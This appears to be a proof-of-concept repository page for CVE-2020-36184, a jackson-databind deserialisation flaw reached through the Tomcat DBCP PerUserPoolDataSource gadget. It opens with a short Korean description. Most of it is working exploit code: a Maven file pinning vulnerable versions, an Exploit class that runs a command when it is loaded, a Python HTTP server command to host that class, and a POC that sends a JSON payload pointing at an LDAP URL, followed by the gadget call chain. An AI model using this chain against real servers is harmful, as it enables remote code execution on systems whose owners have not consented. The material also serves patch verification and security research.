al1ex/cve-2020-36184CVE-2020-36184 && Jackson-databind RCE
FasterXML jackson-databind 2.x 2.9.10.8 이전 버전은 직렬화 가젯과 타이핑 간의 상호작용을 잘못 처리하며, 이는 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource와 관련이 있습니다.
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.jacksonTest</groupId>
<artifactId>jacksonTest</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.7</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>10.0.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
</project>
Exploit.javax
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
SimpleServer
python -m SimpleHTTPServer 4444
LDAPServer
POC.java
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class POC {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:1399/Exploit\"}]";
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);
}
}
결과:
PerUserPoolDataSource
->InstanceKeyDataSource.setDataSourceName
->InstanceKeyDataSource.getconnection
->InstanceKeyDataSource.testCPDS
->lookup